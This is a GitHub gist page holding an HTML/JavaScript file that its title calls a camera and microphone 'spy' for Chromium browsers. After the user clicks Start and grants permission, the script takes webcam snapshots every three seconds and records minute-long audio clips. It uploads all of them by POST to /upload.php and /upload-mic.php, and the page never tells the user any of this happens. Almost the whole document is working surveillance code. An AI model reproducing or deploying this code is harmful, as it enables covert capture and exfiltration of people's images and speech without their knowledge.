Skip to content

Instantly share code, notes, and snippets.

@incogbyte
Last active July 3, 2025 12:17
Show Gist options
  • Save incogbyte/ad0afb7064ed7fbd8012a7f113de03dd to your computer and use it in GitHub Desktop.
Save incogbyte/ad0afb7064ed7fbd8012a7f113de03dd to your computer and use it in GitHub Desktop.
Cam + Mic Capture Demo - Camera and Microphone Spy Chromium Browsers
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Cam + Mic Capture Demo</title>
<style>
body { font-family: system-ui, sans-serif; padding: 1rem; }
#video { max-width: 350px; border-radius: 8px; background: #000; }
#controls { margin-top: 1rem; }
button { padding: .6rem 1rem; margin-right: .5rem; }
</style>
</head>
<body>
<h1>Cam + Mic Capture</h1>
<video id="video" autoplay playsinline muted></video>
<canvas id="canvas" hidden></canvas>
<div id="controls">
<button id="startBtn">Start</button>
<button id="stopBtn" disabled>Stop</button>
</div>
<script type="module">
const video = document.querySelector("#video");
const canvas = document.querySelector("#canvas");
const ctx = canvas.getContext("2d");
const startBtn = document.querySelector("#startBtn");
const stopBtn = document.querySelector("#stopBtn");
let mediaStream = null;
let snapshotTimer = null;
let audioTimer = null;
const SNAP_EVERY_MS = 3_000;
const AUDIO_SEG_MS = 60_000;
startBtn.onclick = async () => {
try {
mediaStream = await navigator.mediaDevices.getUserMedia({
video: { width: 640, height: 480 },
audio: true
});
video.srcObject = mediaStream;
await video.play();
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
snapshotTimer = setInterval(takeSnapshot, SNAP_EVERY_MS);
recordAudioSegment();
audioTimer = setInterval(recordAudioSegment, AUDIO_SEG_MS);
startBtn.disabled = true;
stopBtn.disabled = false;
} catch (err) {
console.error("Permission denied or no device:", err);
alert("Camera/microphone unavailable.");
}
};
stopBtn.onclick = stopAll;
window.addEventListener("beforeunload", stopAll);
function stopAll() {
startBtn.disabled = false;
stopBtn.disabled = true;
if (snapshotTimer) clearInterval(snapshotTimer);
if (audioTimer) clearInterval(audioTimer);
mediaStream?.getTracks().forEach(t => t.stop());
mediaStream = null;
}
async function takeSnapshot() {
ctx.drawImage(video, 0, 0, canvas.width, canvas.height);
const blob = await new Promise(res => canvas.toBlob(res, "image/webp", 0.8));
const filename = `img-${Date.now()}.webp`;
uploadBlob("/upload.php", blob, filename, "image");
}
function recordAudioSegment() {
const audioTracks = mediaStream?.getAudioTracks();
if (!audioTracks?.length) return;
const audioStream = new MediaStream(audioTracks); // clone
const recOpts = { mimeType: "audio/webm;codecs=opus" };
if (!MediaRecorder.isTypeSupported(recOpts.mimeType)) delete recOpts.mimeType;
const recorder = new MediaRecorder(audioStream, recOpts);
const chunks = [];
recorder.ondataavailable = ev => ev.data.size && chunks.push(ev.data);
recorder.onstop = () => {
const blob = new Blob(chunks, { type: chunks[0]?.type || "audio/webm" });
const filename = `mic-${Date.now()}.webm`;
uploadBlob("/upload-mic.php", blob, filename, "audio");
};
recorder.start();
setTimeout(() => recorder.state !== "inactive" && recorder.stop(), AUDIO_SEG_MS);
}
async function uploadBlob(url, blob, filename, field) {
const ctrl = new AbortController();
const timer = setTimeout(() => ctrl.abort(), 15_000); // auto-kill if slow
const fd = new FormData();
fd.append(field, blob, filename);
try {
const r = await fetch(url, { method: "POST", body: fd, signal: ctrl.signal });
if (!r.ok) throw new Error("HTTP " + r.status);
} catch (err) {
console.error("Upload failed:", err);
} finally {
clearTimeout(timer);
}
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment